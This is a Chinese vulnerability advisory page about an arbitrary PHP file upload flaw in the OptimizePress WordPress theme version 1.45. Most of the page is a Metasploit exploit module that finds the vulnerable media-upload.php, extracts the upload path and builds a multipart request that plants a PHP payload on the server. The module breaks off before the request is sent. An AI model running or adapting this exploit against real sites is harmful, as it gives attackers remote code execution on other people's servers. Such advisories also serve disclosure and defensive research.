WordPress OptimizePress主题'media

发布日期:2013-11-21
更新日期:2013-12-05

受影响系统:
optimizepress optimizepress 1.45
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 64044

OptimizePress是WordPress的一款主题,可以制作登录页面、销售页面及会员门户等。

OptimizePress 1.45及其他版本的media-upload.php组件存在不安全文件上传导致的漏洞,可使攻击者上传任意PHP代码。

<*来源:Eagle Eye
  *>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'uri'

class Metasploit3 < Msf::Exploit::Remote

include Msf::HTTP::Wordpress
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

def initialize(info = {})
    super(update_info(info,
      'Name'            => 'WordPress OptimizePress Theme File Upload Vulnerability',
      'Description'    => %q{
        This module exploits a vulnerability found in the the Wordpress theme OptimizePress. The
        vulnerability is due to an insecure file upload on the media-upload.php component, allowing
        an attacker to upload arbitrary PHP code. This module has been tested successfully on
        OptimizePress 1.45.
      },
      'Author'          =>
        [
          'United of Muslim Cyber Army', # Vulnerability discovery
          'Mekanismen' # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'      =>
        [
          [ 'URL', "http://www.osirt.com/2013/11/wordpress-optimizepress-hack-file-upload-vulnerability/" ]
        ],
      'Privileged'      => false,
      'Platform'        => ['php'],
      'Arch'            => ARCH_PHP,
      'Targets'        => [ ['OptimizePress', {}] ],
      'DefaultTarget'  => 0,
      'DisclosureDate'  => 'Nov 29 2013'
    ))

register_advanced_options(
      [
        OptString.new('THEMEDIR', [ true, 'OptimizePress Theme directory', 'OptimizePress'])
      ])
  end

def check
    uri = target_uri.path
    res = send_request_cgi({
      'method'  => 'GET',
      'uri'      => normalize_uri(uri, 'wp-content', 'themes', datastore['THEMEDIR'], 'lib', 'admin', 'media-upload.php')
    })

if res and res.code == 200 and res.body.to_s =~ /Upload New Image/
      return Exploit::CheckCode::Appears
    end

return Exploit::CheckCode::Safe
  end

def exploit
    uri = normalize_uri(target_uri.path)

#get upload filepath
    print_status("#{peer} - Getting the upload path...")
    res = send_request_cgi({
      'method'  => 'GET',
      'uri'      => normalize_uri(uri, 'wp-content', 'themes', datastore['THEMEDIR'], 'lib', 'admin', 'media-upload.php')
    })

unless res and res.code == 200
      fail_with(Failure::Unknown, "#{peer} - Unable to access vulnerable URL")
    end

if res.body =~ /<input type="hidden" value="(.*)" \/>/
      file_path = $1
    else
      fail_with(Failure::Unknown, "#{peer} - Unable to get upload filepath")
    end

#set cookie
    cookie = res.get_cookies

filename = rand_text_alphanumeric(8) + ".php"

#upload payload
    post_data = Rex::MIME::Message.new
    post_data.add_part("<?php #{payload.encoded} ?>", "application/octet-stream", nil, "form-data; name=\"newcsimg\"; filename=\"#{filename}\"")
    post_data.add_part("Upload File", nil, nil, "form-data; name=\"button\"")
    post_data.add_part("1", nil, nil, "form-data; name=\"newcsimg\"")
    post_data.add_part("#{file_path}", nil, nil, "form-data; name=\"imgpath\"")

print_status("#{peer} - Uploading PHP payload...")

n_data = post_data.to_s
    n_data = n_data.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:http://www.heiqu.com/adc8f64f6b39c0e985f2cd9998924ec2.html